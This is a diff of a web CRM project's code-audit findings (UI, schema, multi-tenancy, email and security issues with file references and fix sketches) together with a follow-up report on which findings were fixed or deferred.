### H-12 (U-076) — Native `alert()` for bulk-action failure feedback in 3 lists
|
||||
|
||||
- **Files:** `src/components/interests/interest-list.tsx:146`, `src/components/companies/company-list.tsx:73`, `src/components/yachts/yacht-list.tsx:66`
|
||||
- **What:** Partial-failure feedback via `alert(...)`. `client-list.tsx:145` uses `toast.warning(...)` correctly.
|
||||
- **Impact:** Native alert blocks main thread, can't be styled, fires in tests without suppression.
|
||||
- **Fix:** Replace with `toast.warning(...)` matching `client-list.tsx`.
|
||||
|
||||
### H-13 (U-079) — Icon-only buttons missing `aria-label` (5 sites)
|
||||
|
||||
- **Files:** `src/components/notifications/notification-bell.tsx:65`, `src/components/files/file-grid.tsx:121`, `src/components/admin/forms/form-template-list.tsx:102`, `src/components/email/email-accounts-list.tsx:159`, `src/components/companies/company-members-tab.tsx:228`
|
||||
- **Pattern reference:** `src/components/shared/folder-actions-menu.tsx:96` correctly uses `<span className="sr-only">More folder actions</span>`.
|
||||
- **Fix:** Add `aria-label` to each, following the folder-actions-menu sr-only pattern.
|
||||
|
||||
### H-14 (NEW, browser-discovered) — `DELETE /api/v1/interests/[id]/outcome` with empty body crashes 500
|
||||
|
||||
- **File:** `src/app/api/v1/interests/[id]/outcome/route.ts:27-30`; `src/lib/api/route-helpers.ts` (parseBody)
|
||||
- **What:** The DELETE handler calls `parseBody(req, clearOutcomeSchema)`. `clearOutcomeSchema` says `reopenStage` is optional. But DELETE with no body causes parseBody to throw an unhandled error → 500 internal-server-error JSON. Sending `{ reopenStage: 'qualified' }` returns 200.
|
||||
- **Browser proof:** Two consecutive `DELETE /api/v1/interests/<wonId>/outcome` calls (no body) returned 500 with `requestId: bc807db5-...` / `d21b5b3e-...`. Same call with body `{}` would presumably also work (not tested) — the issue is empty-vs-omitted body.
|
||||
- **Impact:** F26 reopen flow — when the user clicks "Reopen" without overriding the auto-detected previous stage, the request crashes. Frontend may always send a body, but the API contract claims optional and the wire-level test fails.
|
||||
- **Fix:** In `parseBody`, treat empty request body as `{}` for DELETE/POST routes whose schemas have all-optional fields; OR in the route handler, parse the body conditionally on `req.headers.get('content-length') !== '0'`.
|
||||
|
||||
### H-15 (NEW, browser-discovered) — Sales-agent visiting an admin page silently bounces to dashboard (no 403 / feedback)
|
||||
|
||||
- **Files:** Middleware in `src/proxy.ts` and/or per-route admin layout
|
||||
- **What:** Sales-agent navigating to `http://localhost:3000/port-amador/admin/audit` lands at `http://localhost:3000/port-amador/dashboard`. URL silently changes; no toast, no 403 page, no "Access denied" feedback. The API itself correctly returns 403 ("Insufficient permissions" or "No access to this port") — the UI just hides the failure.
|
||||
- **Impact:** A rep clicking a deep link to an admin page (in an email, bookmark, or shared link) is silently redirected without explanation. They can't tell whether the link was wrong, whether their permission lapsed, or whether the page just doesn't exist. (The earlier A18 verification said "/admin/audit correctly 403s" at the API level, which is true — but the UI layer hides it.)
|
||||
- **Fix:** Render a `/403` page or surface a toast on access denial in the admin route layout. Keep the URL on the failed route so users can verify what they tried to reach.
|
||||
|
||||
---
|
||||
|
||||
## 🟡 MEDIUM (45 findings — by area)
|
||||
|
||||
### Multi-tenancy (5)
|
||||
|
||||
| ID | Title | File:line | Fix sketch |
|
||||
| ------ | ------------------------------------------------------- | ---------------------------------------------------------------- | ----------------------------------------------------------- |
|
||||
| M-MT01 | `updateDefinition` UPDATE missing portId in WHERE | `src/lib/services/custom-fields.service.ts:136-145` | Add `and(eq(...id), eq(...portId, portId))` to UPDATE WHERE |
|
||||
| M-MT02 | Notes UPDATE/DELETE missing entityId scope | `src/lib/services/notes.service.ts:846-850, 869-873, 897-901` | Add `eq(...notes.<parent>Id, entityId)` to WHERE |
|
||||
| M-MT03 | Contact UPDATE/DELETE missing clientId scope | `src/lib/services/clients.service.ts:737-741, 764` | Add `eq(clientContacts.clientId, clientId)` to WHERE |
|
||||
| M-MT04 | `listForYachtAggregated` ownerClientId lookup no portId | `src/lib/services/notes.service.ts:276-283` | Add `eq(clients.portId, portId)` |
|
||||
| M-MT05 | Webhook reads expose row before JS portId check | `src/lib/services/webhooks.service.ts:103-108, 133-137, 170-174` | Move portId into `findFirst` WHERE |
|
||||
|
||||
### Schema (5)
|
||||
|
||||
| ID | Title | File:line | Fix sketch |
|
||||
| ------ | ------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------- |
|
||||
| M-SC01 | Migrations 0000-0036 not idempotent (no IF NOT EXISTS / DO blocks) | `src/lib/db/migrations/0000_narrow_longshot.sql`, `0036_polymorphic_check_constraints.sql` | Standardize IF NOT EXISTS / DO block pattern for new migrations; document 0000-0036 not re-runnable |
|
||||
| M-SC02 | `companies` missing soft-delete partial index | `src/lib/db/schema/companies.ts:39-45` | `CREATE INDEX IF NOT EXISTS idx_companies_archived ON companies (port_id) WHERE archived_at IS NULL;` |
|
||||
| M-SC03 | FTS GIN index missing for `interests` and `berths` | `src/lib/db/migrations/0057_search_fts_indexes.sql` | Add `CREATE INDEX CONCURRENTLY ... USING gin (...)` for both |
|
||||
| M-SC04 | `audit_logs.searchText` schema/DB mismatch (Drizzle plain, DB GENERATED ALWAYS) | `src/lib/db/schema/system.ts:53-54` | Annotate as non-updateable / generated marker |
|
||||
| M-SC05 | `documents.clientId` Drizzle nullable but DB `ON DELETE NO ACTION` | `src/lib/db/schema/documents.ts:72`, migration `0000_narrow_longshot.sql:814` | Migration mirroring 0059's fix for `files.client_id`: drop + re-add with `ON DELETE SET NULL` |
|
||||
|
||||
### Routes / Middleware (2)
|
||||
|
||||
| ID | Title | File:line | Fix sketch |
|
||||
| ----- | ---------------------------------------------------------------------------------------- | ----------------------------------- | --------------------------------------------------------------------------------------------- |
|
||||
| M-R01 | `/portal/` blanket allowlist removes middleware backstop | `src/proxy.ts:65` | Allowlist only unauthenticated portal routes individually; add middleware portal-cookie check |
|
||||
| M-R02 | No explicit OPTIONS handlers, no CORS headers (defer until cross-origin consumer exists) | All `route.ts` under `src/app/api/` | Add explicit `Access-Control-Allow-Origin: <marketing-domain>` to public routes when needed |
|
||||
|
||||
### Audit log (4)
|
||||
|
||||
| ID | Title | File:line | Fix sketch |
|
||||
| ------ | ----------------------------------------------------------------- | ------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------- |
|
||||
| M-AU01 | FTS `search_text` covers only 4 fields; placeholder text misleads | migration `0014_black_banshee.sql:47-55` + `audit-log-list.tsx:360` | Change placeholder OR add `metadata` to GENERATED expression |
|
||||
| M-AU02 | Admin audit log shows field names but no old→new diff | `audit-log-list.tsx:290-305` + `audit-log-card.tsx:84-91` | Add row-expand using `buildDiffLine` from activity-feed.tsx |
|
||||
| M-AU03 | No audit log CSV export endpoint | (absent) | `GET /api/v1/admin/audit/export/csv` reusing `searchAuditLogs` |
|
||||
| M-AU04 | Outcome change uses `action: 'update'` not distinct verb | `interests.service.ts:1047-1058` | Add `'outcome_change'` to `AuditAction`; use in setInterestOutcome/clearInterestOutcome; add to dropdown + severity map |
|
||||
|
||||
### Documents/files (1)
|
||||
|
||||
| ID | Title | File:line | Fix sketch |
|
||||
| ----- | ---------------------------------------------------------------------------------- | ------------------------------------------------ | ------------------------------------------------------------------ |
|
||||
| M-D01 | Real-time invalidation event-name mismatch (`'file:created'` vs `'file:uploaded'`) | `src/components/documents/documents-hub.tsx:141` | Change to `'file:uploaded': [['files']]` matching other components |
|
||||
|
||||
### Security (1)
|
||||
|
||||
| ID | Title | File:line | Fix sketch |
|
||||
| ----- | ---------------------------------------------------------------------------------- | --------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------ |
|
||||
| M-S01 | S3 access key ID stored plaintext in `system_settings` (secret encrypted, key not) | `src/lib/storage/index.ts:136`, `src/components/admin/storage-admin-panel.tsx:80` | Apply same `encrypt()` / `*IsSet` pattern as secret key; migration to re-key existing rows |
|
||||
|
||||
### Email + Integrations (8)
|
||||
|
||||
| ID | Title | File:line | Fix sketch |
|
||||
| ------ | ----------------------------------------------------------------------------------- | ---------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------- |
|
||||
| M-EM01 | Portal activation/reset emails not threaded with portId — falls back to global SMTP | `src/lib/services/portal-auth.service.ts:163-164` | Pass `portId` as 6th arg to both `sendEmail` calls |
|
||||
| M-EM02 | No CC/BCC in main `sendEmail` | `src/lib/email/index.ts:54-68` | Add optional `cc`/`bcc` to `SendEmailOptions` |
|
||||
| M-EM03 | Bounce-to-interest linking not implemented | `src/lib/services/sales-email-config.service.ts:13` | Wire BullMQ recurring job using imapflow to scan inbox for bounce NDRs (Phase 7 §14.9 deferred) |
|
||||
| M-EM04 | Notification digest uses `'crm_invite' as any` for subject resolution | `src/lib/services/notification-digest.service.ts:161-169` | Add `'notification_digest'` to `TEMPLATE_KEYS`; update digest service |
|
||||
| M-IN01 | Presigned URL TTL fixed at 900s for portal downloads | `src/lib/storage/index.ts:240-254`; `src/lib/services/portal.service.ts:350` | Pass `expirySeconds: 4 * 3600` for portal links, or sign on-demand from API |
|
||||
| M-IN02 | OpenAI receipt-scanner module-level instantiation, no credential health check | `src/lib/services/receipt-scanner.ts:4` | Guard `OPENAI_API_KEY` upfront; add health-check endpoint |
|
||||
| M-IN03 | Receipt OCR ignores per-port config; hardcoded `gpt-4o` | `src/lib/services/receipt-scanner.ts:19` | Accept `portId`, call `getResolvedOcrConfig(portId)`, branch on provider |
|
||||
| M-IN04 | Stale "pdfme" references in comments/seed | `src/lib/db/seed-data.ts:807`, `src/lib/services/document-templates.ts:573` | Update comments to reference pdf-lib AcroForm fill |
|
||||
| M-IN05 | Umami `testConnection` throws instead of typed `{ ok: false }` | `src/lib/services/umami.service.ts:80-101, 292` | Return `{ ok: false, error }` to match `checkDocumensoHealth` |
|
||||
|
||||
### Performance + Behavioral (1)
|
||||
|
||||
| ID | Title | File:line | Fix sketch |
|
||||
| ----- | --------------------------------------------------------------------- | ----------------------------- | --------------------------------------------------------------------------------------------------- |
|
||||
| M-P01 | Leading-wildcard `ILIKE '%term%'` in `buildListQuery` defeats indexes | `src/lib/db/query-builder.ts` | Migrate to `pg_trgm` GIN indexes on searched columns, or move to FTS via existing `search_text` GIN |
|
||||
|
||||
### Legacy enum drift (2)
|
||||
|
||||
| ID | Title | File:line | Fix sketch |
|
||||
| ----- | -------------------------------------------------------------------- | -------------------------------------------------------------------------- | ------------------------------------------------------------------------ |
|
||||
| M-L01 | Tenure type enum diverges between berths and reservations | `src/lib/db/schema/berths.ts:65` vs `src/lib/db/schema/reservations.ts:32` | Pick canonical enum union; update both schemas + comments |
|
||||
| M-L02 | Reports stage rollup raw `pipelineStage` without `canonicalizeStage` | `src/lib/services/report-generators.ts:71-76, 88-106, 124-138, 176-192` | Wrap row.stage with `canonicalizeStage()` before keying maps (defensive) |
|
||||
|
||||
### UX/forms (12)
|
||||
|
||||
| ID | Title | File:line | Fix sketch |
|
||||
| ----- | ---------------------------------------------------------------------- | ------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------ |
|
||||
| M-U01 | Audit log uses inline div instead of `<EmptyState>` | `src/components/admin/audit/audit-log-list.tsx:524` | Replace with `<EmptyState title="..." />` |
|
||||
| M-U02 | Two duplicate `EmptyState` components with incompatible APIs | `src/components/ui/empty-state.tsx` vs `src/components/shared/empty-state.tsx` | Migrate 3 `ui/` callers to `shared/`, delete `ui/empty-state` |
|
||||
| M-U03 | Required-field marker inconsistent | `client-form.tsx:273`, `interest-form.tsx:281` | Single pattern: `<Label>Field <span aria-hidden>*</span></Label>` + `aria-required="true"` |
|
||||
| M-U04 | Help-text discoverability inconsistent | `src/components/shared/filter-bar.tsx`, `client-form.tsx` | Document a rule (always-visible for constraints; tooltips only for icons) |
|
||||
| M-U05 | Cancel/dismiss without unsaved-changes warning on ClientForm/YachtForm | `client-form.tsx`, `yacht-form.tsx` | Add `isDirty` guard + discard AlertDialog matching InterestForm |
|
||||
| M-U06 | FileUploadZone size limit not surfaced as client-side check | `src/components/files/file-upload-zone.tsx:170` | Wire client-side size check before upload |
|
||||
| M-U07 | No jump-to-page input in pagination | `src/components/shared/data-table.tsx:420` | Add small `<input type="number">` between Previous/Next |
|
||||
| M-U08 | No column resize/reorder on DataTable | `src/components/shared/data-table.tsx` | Opt-in `enableColumnResizing` per table via TanStack v8 |
|
||||
| M-U09 | Invoice delete uses custom overlay, not AlertDialog | `src/app/(dashboard)/[portSlug]/invoices/page.tsx:167` | Replace with `<ConfirmationDialog>` |
|
||||
| M-U10 | Success toast missing on ClientForm + InterestForm create/edit | `client-form.tsx:215`, `interest-form.tsx:235` | `toast.success(isEdit ? 'Client updated' : 'Client created')` |
|
||||
| M-U11 | Logo preview `<img alt="">` should describe state | `src/components/admin/shared/settings-form-card.tsx:420` | `alt="Port logo preview"` or dynamic from field label |
|
||||
| M-U12 | Heading hierarchy inconsistent within tab components | `email-accounts-list.tsx:114`, `interest-contract-tab.tsx:130/251/291/364` | Audit each tab; standardize h2/h3 nesting |
|
||||
| M-U13 | DialogContent missing aria-describedby on minimal dialogs | `compose-dialog.tsx:95` + ~40 others | Add `<DialogDescription className="sr-only">` or `aria-describedby={undefined}` |
|
||||
| M-U14 | Mobile topbar title blank on list pages | `client-list.tsx`, `yacht-list.tsx`, `interest-list.tsx`, `berth-list.tsx` | `useMobileChrome({ title, showBackButton: false })` per list |
|
||||
| M-U15 | Invoices missing from mobile navigation | `src/components/layout/mobile/more-sheet.tsx:54` | Add `{ label: 'Invoices', icon: FileText, segment: 'invoices' }` to Operations group |
|
||||
|
||||
---
|
||||
|
||||
## 🟢 LOW (8)
|
||||
|
||||
| ID | Title | File:line |
|
||||
| ------ | ------------------------------------------------------------------------------------------------------ | --------------------------------------------------- |
|
||||
| L-AU01 | Tier map sparse; new actions default to 'info' (`password_change`, `portal_activate`, `revoke_invite`) | `src/lib/audit.ts:220-222` |
|
||||
| L-AU02 | Action filter dropdown missing 12 verbs | `audit-log-list.tsx:393-415` |
|
||||
| L-AU03 | Entity-type filter dropdown missing 7 entries | `audit-log-list.tsx:88-102` |
|
||||
| L-AU04 | Dead code — `listAuditLogs` (ILIKE) | `src/lib/services/audit.service.ts` |
|
||||
| L-D01 | `HubRootView` has 2 sections, not 3 (CLAUDE.md spec inaccuracy) | `src/components/documents/hub-root-view.tsx:50-100` |
|
||||
| L-D02 | `interest.yachtId` branch in chain doc spec is unreachable (interests.clientId NOT NULL) | `src/lib/services/documents.service.ts:1225-1251` |
|
||||
| L-P01 | List endpoint `limit` cap = 1000 (audit log uses 200 + cursor as the better pattern) | `src/lib/api/list-query.ts` |
|
||||
| L-L01 | Reports stage-revenue rollup raw `pipelineStage` (defensive concern, no active bug) | `src/lib/services/report-generators.ts:71-192` |
|
||||
|
||||
---
|
||||
|
||||
## ✅ Areas verified clean
|
||||
|
||||
- Documents/files structurally solid across 22 checks (one event-name mismatch + 2 doc divergences only)
|
||||
- Security XSS / SQLi / path traversal / SSRF / encryption-at-rest all clean (one S3 access key plaintext)
|
||||
- Multi-tenancy entry-point port isolation correct everywhere; gaps are TOCTOU-style only
|
||||
- Documenso v1+v2 routing complete and version-aware; magic-byte verification on both upload paths
|
||||
- Public berths API + public health endpoint + cookie flags + CSP + CSRF all correctly configured
|
||||
- Audit log core write path covers all sampled mutations; `maskSensitiveFields` covers expected PII fragments
|
||||
- Better-auth session fixation, token expiry, audit-log tamper-resistance all clean
|
||||
- Legacy 9-stage enum refactor — rank tables now include both legacy + modern keys (commit 9821106 closed the gap); all rendering surfaces route through `stageLabelFor` or `LEGACY_STAGE_REMAP`
|
||||
- BullMQ retry/backoff configured; Redis noeviction enforced in compose; worker process bootstraps all 10 queues
|
||||
- pdf-lib AcroForm fill, EOI merge tokens, `formatBerthRange` (single/contig/non-contig/cross-pontoon)
|
||||
- Inline editing pattern present on all 6 detail page types; NotesList polymorphic across all 6 entity types
|
||||
|
||||
---
|
||||
|
||||
---
|
||||
|
||||
## Browser sweep findings (Playwright MCP) — 2026-05-15
|
||||
|
||||
Live exploratory testing of the dev instance (port-amador + port-nimara seeded) using Playwright MCP. All findings below were either (a) confirmation of static findings, or (b) new bugs only visible at runtime.
|
||||
|
||||
### New criticals + highs from browser sweep
|
||||
|
||||
- **🔴 C-03** — Generic `PATCH /api/v1/interests/[id]` bypasses ALL stage-transition guards (see C-03 above for full detail). The single most impactful new finding from the sweep.
|
||||
- **🟠 H-14** — `DELETE /outcome` with empty body returns 500 (see H-14 above).
|
||||
- **🟠 H-15** — Sales-agent → `/admin/*` silently bounces to `/dashboard`, no 403 page or toast (see H-15 above).
|
||||
|
||||
### New medium from browser sweep
|
||||
|
||||
- **M-NEW-1** — `/api/v1/me` and `/api/v1/me/ports` return 400 "Port context required" for non-super-admin callers without the `X-Port-Id` header. Super-admin works without the header. **Impact:** chicken-and-egg for the bootstrap flow that needs to know which ports a user has access to in order to choose one. Frontend likely passes the header from cookie state, but the contract is asymmetric per role. **Fix:** treat absent `X-Port-Id` on `/me/ports` as "list all ports the user has access to, regardless of context".
|
||||
- **M-NEW-2** — Activity feed entity-type label rendered without separator: "Test Person 1interest", "Audit_loglist", "Settingrecom" — entity name + type concatenated. **File:** `src/components/dashboard/activity-feed.tsx` (the line that renders the entity label + type tag). **Fix:** add a separator (space, dot, or pipe) between name and type.
|
||||
|
||||
### Verifications confirmed clean in browser
|
||||
|
||||
| Check | Result |
|
||||
| ---------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| C-02 `/setup` deadlock | ✅ confirmed: navigation redirects to `/login` (no `?redirect=` param even); `bootstrap/status` returns `needsBootstrap: false` on populated DB; loop fires when fresh |
|
||||
| H-02 `?redirect=` ignored | ✅ confirmed: signed in with `?redirect=%2Fport-amador%2Fclients%2Fsome-fake-id` → landed at `/port-amador/dashboard` |
|
||||
| H-04 `Retry-After` missing | ✅ confirmed: 429 fired on 2nd bad sign-in attempt, headers `x-ratelimit-limit/remaining/reset` present, NO `Retry-After` |
|
||||
| R-004 cross-port URL | ✅ clean: `/port-amador/clients/<port-nimara-uuid>` shows friendly "Client not found... different port" page |
|
||||
| MT-02 cross-port PATCH | ✅ clean: `PATCH /api/v1/interests/<port-nimara-id>` with `X-Port-Id: port-amador` → 404 "We couldn't find that interest" |
|
||||
| Viewer permissions | ✅ clean: read 200, write same-port 403 "Insufficient permissions", write cross-port 403 "No access to this port" |
|
||||
| F27 same-stage no-op | ✅ clean via `/stage` endpoint (returns 204); ❌ broken via generic PATCH (200 + body) — see C-03 |
|
||||
| Forbidden transition | ✅ clean via `/stage` (400 with override-required-reason copy); ❌ bypassed via generic PATCH (see C-03) |
|
||||
| Override no-reason | ✅ clean via `/stage` (400 "Override requires a reason (min 5 chars)") |
|
||||
| Override short-reason | ✅ clean via `/stage` (same 400) |
|
||||
| AU-11 permission_denied filter | ✅ activity feed shows no raw `permission_denied` rows |
|
||||
| A2 legacy enum in feed | ✅ no raw `deposit_10pct` / `eoi_sent` / `contract_signed` in activity feed text |
|
||||
| R-008 mooring URL canonicalization | ✅ `A1`=200, `a1`=400, `A%201`=400, `A-1`=400 |
|
||||
| B-10 webhook empty/malformed body | ✅ both return 200 `{ok:false}` (graceful) |
|
||||
| Tag CRUD (AD-014) | ✅ 201 create + 204 delete |
|
||||
| Settings update (AD-008) | ✅ 200 with persisted body |
|
||||
| Interest detail render | ✅ EOI badge, milestone "EOI sent May 14, 2026", no raw legacy values, no errors |
|
||||
| Interest reopen with reopenStage | ✅ 200 ok |
|
||||
| Public berths shape | ✅ 117 berths, statuses split Sold=11 / Under Offer=49 / Available=57 |
|
||||
|
||||
### Out of scope for this sweep (not exercised)
|
||||
|
||||
- Live Documenso integration (requires real-API project — `pnpm exec playwright test --project=realapi`)
|
||||
- IMAP bounce probe round-trip (requires SMTP+IMAP credentials)
|
||||
- C-01 berth-INNER-JOIN bug — would require hard-deleting a berth in the live DB (destructive); static analysis already conclusive
|
||||
- Browser-side cross-browser testing (BR-\* — Safari, Firefox, Edge)
|
||||
- Drag-and-drop kanban interactions
|
||||
- Visual regression baselines (`--project=visual` snapshots)
|
||||
@@ -1,266 +0,0 @@
|
||||
# Audit Fix Wave — 2026-05-18
|
||||
|
||||
Progress report against `docs/AUDIT-FINDINGS-2026-05-15.md` (74 findings)
|
||||
and the still-open Wave-11 items in `docs/AUDIT-FOLLOWUPS.md`. Each
|
||||
finding was re-verified against the current code before being touched —
|
||||
the previous session's 70 uncommitted files mostly added new behaviour
|
||||
and rarely overlapped with the audit issues, so almost everything was
|
||||
still applicable.
|
||||
|
||||
`pnpm exec vitest run` → 1374/1374 pass. `pnpm exec tsc --noEmit` clean.
|
||||
|
||||
---
|
||||
|
||||
## 🔴 CRITICAL — 3 / 3 done
|
||||
|
||||
- **C-01** interest-berths INNER JOIN on hard-deleted berths — three
|
||||
helpers switched to LEFT JOIN; `listBerthsForInterest` return type
|
||||
loosened so an orphaned junction row still renders. Berth hard-delete
|
||||
is already redirected to soft-archive, so the audit's "service-layer
|
||||
guard preventing hard-delete" requirement is implicitly satisfied via
|
||||
`archiveBerth`'s active-interest check.
|
||||
- **C-02** `/setup` missing from `PUBLIC_PATHS` — added.
|
||||
- **C-03** generic `PATCH /api/v1/interests/[id]` bypassing stage guards
|
||||
— `updateInterestSchema` now omits `pipelineStage`, forcing every
|
||||
caller through the `/stage` endpoint with the override-permission +
|
||||
override-reason guard chain.
|
||||
|
||||
## 🟠 HIGH — 14 / 15 fixed, 1 not-applicable
|
||||
|
||||
- **H-01** FK `ON DELETE` actions made explicit across interests /
|
||||
documents / reservations / reminders / invoices schemas; migration
|
||||
`0070_h01_fk_on_delete.sql` drops + re-adds each constraint under
|
||||
the same name (idempotent against re-run).
|
||||
- **H-02** login page reads `?redirect=` param with same-origin guard
|
||||
(`startsWith('/')` and `!startsWith('//')`).
|
||||
- **H-03** CRM-invite token moved to URL fragment (`#token=…`); the
|
||||
set-password page reads from fragment via `useSyncExternalStore` with
|
||||
`?token=` back-compat for outstanding links.
|
||||
- **H-04** `Retry-After` header added to the sign-in-by-identifier 429
|
||||
response (RFC 6585 §4).
|
||||
- **H-05** `toggleAccount` now writes an audit row (action 'update',
|
||||
entityType 'email_account', oldValue/newValue around isActive).
|
||||
- **H-06** `upsertSetting` masks any value whose key ends with
|
||||
`_encrypted` to `[redacted]` before writing to `audit_logs.new_value`
|
||||
— keeps the ciphertext out of the historical audit trail.
|
||||
- **H-07** `archiveClient`'s cascade fires per-interest audit rows
|
||||
(action 'archive', metadata.cascadeSource = 'client_archive') so the
|
||||
audit FTS surfaces a search for a specific archived interest.
|
||||
- **H-08** `createSalesTransporter` now applies the shared
|
||||
`SMTP_TIMEOUTS` constant — sales send-outs can no longer stall the
|
||||
BullMQ pool on a hung relay.
|
||||
- **H-09** AppShell refactored so `<main>{children}</main>` lives at an
|
||||
invariant tree path across mobile/desktop chrome — React preserves
|
||||
in-progress form drafts when the viewport flips across the breakpoint.
|
||||
- **H-10** portal documents page replaces Unicode glyph status icons
|
||||
with Lucide CheckCircle2/XCircle/Circle + aria-labels.
|
||||
- **H-12** three list components (interests/companies/yachts) swap
|
||||
`alert(…)` for `toast.warning(…)` matching client-list.
|
||||
- **H-13** 5 icon-only buttons gain `aria-label` (notification bell,
|
||||
file-grid actions menu, form-template edit/delete, email-account
|
||||
remove, member-actions menu).
|
||||
- **H-14** `parseBody` now treats empty request bodies as `{}` so
|
||||
routes whose schemas have all-optional fields don't crash on an empty
|
||||
DELETE / PATCH payload.
|
||||
- **H-15** admin layout renders an explicit 403 panel ("Access denied —
|
||||
this area is for super-administrators only") instead of a silent
|
||||
redirect to `/dashboard`, with a "Back to dashboard" CTA. URL stays
|
||||
on the failed route.
|
||||
|
||||
**Not applicable:**
|
||||
|
||||
- **H-11** mobile-search-overlay Vaul → Sheet conversion. The audit's
|
||||
premise ("full-screen, not a bottom sheet") is inaccurate — the
|
||||
overlay has `top: 12px` (visible backdrop strip), drag handle,
|
||||
swipe-to-dismiss, and explicit visualViewport sizing for iOS keyboard
|
||||
behaviour. CLAUDE.md's "Sheet vs Drawer doctrine" explicitly allows
|
||||
Vaul for "mobile-only bottom-sheet UX" which is this case.
|
||||
|
||||
## 🟡 MEDIUM — 28 / 48 fixed, 5 deferred, the rest covered by larger work
|
||||
|
||||
### Done
|
||||
|
||||
- **M-MT01-05** multi-tenancy defense-in-depth: `port_id` / parent-id
|
||||
filters added to UPDATE/DELETE WHEREs across custom-fields, notes
|
||||
(all 6 entity types × update + delete), client-contacts, yacht
|
||||
ownerClient lookup, and webhooks reads.
|
||||
- **M-AU01** audit log placeholder copy fixed.
|
||||
- **M-AU02** already done in previous session (Details column + Sheet).
|
||||
- **M-AU04** outcome change now uses distinct audit verbs
|
||||
`outcome_set` / `outcome_cleared`; AuditAction type extended.
|
||||
- **M-D01** documents-hub realtime event-name typo (`file:created` →
|
||||
`file:uploaded`) fixed.
|
||||
- **M-EM01** portal-auth activation + reset emails now pass `portId`
|
||||
to `sendEmail` so per-port SMTP is used.
|
||||
- **M-EM02** `sendEmail` accepts `cc` / `bcc` params; redirect mode
|
||||
drops both (consistent with the dev safety net).
|
||||
- **M-EM04** `notification_digest` added to `TEMPLATE_KEYS` +
|
||||
`TEMPLATE_CATALOG`; the digest service drops the `'crm_invite' as any`
|
||||
cast.
|
||||
- **M-IN01** portal presigned download URLs now use a 4-hour TTL so
|
||||
client links from yesterday's emails still work.
|
||||
- **M-IN02** OpenAI client lazy-instantiated; missing key surfaces a
|
||||
clear error instead of crashing at module load.
|
||||
- **M-IN04** stale pdfme comments in seed-data + document-templates
|
||||
updated to pdf-lib AcroForm.
|
||||
- **M-IN05** `umami.testConnection` returns `{ ok: true|false, … }`
|
||||
tagged union instead of throwing.
|
||||
- **M-L02** `report-generators.ts` canonicalises stage values via
|
||||
`canonicalizeStage()` across pipeline / revenue / forecast rollups
|
||||
so legacy 9-stage rows fold into the modern 7-stage buckets.
|
||||
- **M-NEW-2** activity feed entity-name/type concatenation — explicit
|
||||
middle-dot separator so "Test Person 1" + "interest" no longer renders
|
||||
as one word.
|
||||
- **M-R01** portal allowlist narrowed from blanket `/portal/` to the
|
||||
three unauthenticated entry-points + portal_session backstop in the
|
||||
middleware redirects to `/portal/login` when the cookie is missing.
|
||||
- **M-SC02** companies gets `idx_companies_archived` partial index
|
||||
matching the clients/yachts/interests pattern.
|
||||
- **M-SC04** `auditLogs.searchText` documented as GENERATED ALWAYS /
|
||||
DB-managed.
|
||||
- **M-SC05** documents.clientId `ON DELETE SET NULL` covered by the
|
||||
H-01 migration.
|
||||
- **M-U01** audit-log empty state uses `<EmptyState>`.
|
||||
- **M-U09** invoice delete dialog migrated from hand-rolled overlay to
|
||||
`<AlertDialog>` (focus trap, ESC-to-close, a11y semantics).
|
||||
- **M-U10** ClientForm + InterestForm fire `toast.success(...)` on
|
||||
create/edit.
|
||||
- **M-U11** logo preview `<img>` carries a descriptive alt.
|
||||
- **M-U14** mobile topbar title surfaced on clients / interests /
|
||||
yachts / berths list pages via `useMobileChrome`.
|
||||
- **M-U15** Invoices added to the mobile More-sheet Operations group.
|
||||
- **M-L01** `reservations.tenureType` comment unified with
|
||||
`berths.tenureType` (canonical union).
|
||||
- **M-S01** `storage_s3_access_key_encrypted` admin field added; the
|
||||
encrypt-plaintext-credentials script handles the data migration.
|
||||
|
||||
### Deferred (need user input or scope-larger-than-an-audit-fix)
|
||||
|
||||
- **M-AU03** — audit log CSV export endpoint. New feature surface.
|
||||
- **M-EM03** — bounce-to-interest IMAP linking (Phase 7 §14.9).
|
||||
- **M-IN03** — receipt-scanner per-port OCR config (every call site
|
||||
needs `portId` threading).
|
||||
- **M-NEW-1** — `/me/ports` asymmetric port-context header semantics.
|
||||
- **M-P01** — leading-wildcard ILIKE → pg_trgm GIN migration.
|
||||
- **M-SC03** — FTS GIN on interests + berths (search.service.ts
|
||||
doesn't use to_tsvector for these — feature work).
|
||||
|
||||
### Lower-priority M-U items left untouched (cosmetic / process)
|
||||
|
||||
`M-U02` (dedup EmptyState components), `M-U03` (required-field marker
|
||||
standardisation), `M-U04` (help-text discoverability rule), `M-U05`
|
||||
(unsaved-changes warning on ClientForm/YachtForm), `M-U06`
|
||||
(FileUploadZone client-side size check), `M-U07` (pagination
|
||||
jump-to-page), `M-U08` (column resize/reorder), `M-U12` (heading
|
||||
hierarchy across tab components), `M-U13` (DialogContent aria-describedby
|
||||
across ~40 sites). All polish-grade — drop into a focused UX session.
|
||||
|
||||
## 🟢 LOW — 6 / 8 fixed, 2 deferred / not-applicable
|
||||
|
||||
- **L-AU01** severity defaults extended (password_change → warning,
|
||||
portal_password_reset → warning, etc).
|
||||
- **L-AU02** action-filter dropdown gains 13 missing verbs
|
||||
(password*change, portal*\_, gdpr\__, rule*evaluated, outcome*_,
|
||||
branding.\_).
|
||||
- **L-AU03** entity-type dropdown gains 7 missing entries (yacht,
|
||||
company, reservation, email_account, portal_session, portal_user,
|
||||
file).
|
||||
- **L-AU04** dead `listAuditLogs` (ILIKE) stubbed out — callers all
|
||||
use the FTS-backed `searchAuditLogs` now.
|
||||
- **L-D02** CLAUDE.md "Owner-wins chain" tightened — `interest.yachtId`
|
||||
tail branch removed from the spec (structurally unreachable since
|
||||
`interests.clientId` is NOT NULL).
|
||||
- **L-P01** list endpoint limit cap — DEFER per audit (cursor pagination
|
||||
is on the routes where it matters; the 1000-row cap is fine at
|
||||
current data sizes).
|
||||
- **L-D01** HubRootView spec inaccuracy — verified accurate; the
|
||||
CLAUDE.md "three render modes" line refers to render _modes_, not
|
||||
sections within HubRootView. Audit finding is a misread.
|
||||
- **L-L01** reports defensive concern — covered by M-L02's
|
||||
canonicalize sweep.
|
||||
|
||||
---
|
||||
|
||||
